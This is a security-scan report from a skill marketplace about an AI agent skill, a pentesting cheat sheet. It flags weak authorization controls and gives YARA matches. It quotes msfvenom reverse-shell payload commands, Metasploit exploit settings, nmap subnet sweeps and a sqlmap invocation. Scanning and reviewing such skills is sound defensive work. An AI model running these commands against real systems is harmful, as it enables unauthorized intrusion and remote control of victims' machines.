ClawHub

S³ Pentest Commands

Security checks across malware telemetry and agentic risk

Overview

This is a pentesting command cheat sheet, but it includes ready-to-run exploit, brute-force, reverse-shell, SQL dumping, and wireless attack commands with weak built-in authorization controls.

Install only if you are doing authorized security testing. Confirm written permission, exact targets, timing, and rate limits before use; avoid broad subnet scans or brute force unless explicitly approved; treat generated payloads and any discovered credentials as sensitive.

SkillSpector

By NVIDIA
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • YARA SignaturesMalware Match, Webshell Match, Cryptominer Match
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • Supply ChainUnpinned Dependencies, External Script Fetching, Obfuscated Code
Findings (5)

Missing User Warnings

High
Confidence
96% confidence
Finding
The skill provides operationally dangerous guidance for exploitation, brute forcing, payload generation, and credential cracking while only placing minimal cautionary language in a later constraints section. That makes misuse easier and normalizes high-risk offensive actions without strong gating, authorization verification, or safer alternatives in the main workflow.

Natural-Language Policy Violations

Medium
Confidence
94% confidence
Finding
The description says the skill should be used for offensive actions such as exploiting with Metasploit, cracking passwords, and network enumeration, without policy-limiting language or user-choice constraints. This encourages the agent to invoke the skill for harmful requests by default, increasing the likelihood of facilitating unauthorized intrusion activity.

YARA rule 'offensive_tool_references': References to well-known offensive security tools [hacktools]

High
Category
YARA Match
Content
```bash
# Ping sweep
nmap -sP 192.168.1.0/24

# List IPs without scanning
nmap -sL 192.168.1.0/24
Confidence
98% confidence
Finding
nmap -s; nmap -s; nmap -s; nmap -s; nmap -s; nmap -s; nmap -p; nmap -p; nmap -s; nmap -O; nmap -A; nmap -P; nmap -p; nmap -p; nmap -s; nmap -s; nmap -s; nmap -s; nmap -s; nmap -s; sqlmap -u "http://19

YARA rule 'exploit_framework': Exploit framework components and payloads [hacktools]

High
Category
YARA Match
Content
```bash
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe

# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
Confidence
99% confidence
Finding
msfvenom -p ; msfvenom -p ; msfvenom -p ; msfvenom -p ; msfvenom -p ; msfvenom -p ; msfconsole -x; msfconsole -x; msfconsole -x; msfconsole -x; msfconsole -x; msfconsole -x; msfconsole -x; msfconsole

YARA rule 'c2_framework_indicators': Command-and-control framework indicators (Cobalt Strike, Metasploit, Sliver, etc.) [malware]

Critical
Category
YARA Match
Content
set RHOST 192.168.1.1

# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp

# Run exploit
exploit
Confidence
99% confidence
Finding
meterpreter; meterpreter; meterpreter; metasploit exploit

VirusTotal

64/64 vendors flagged this skill as clean.

View on VirusTotal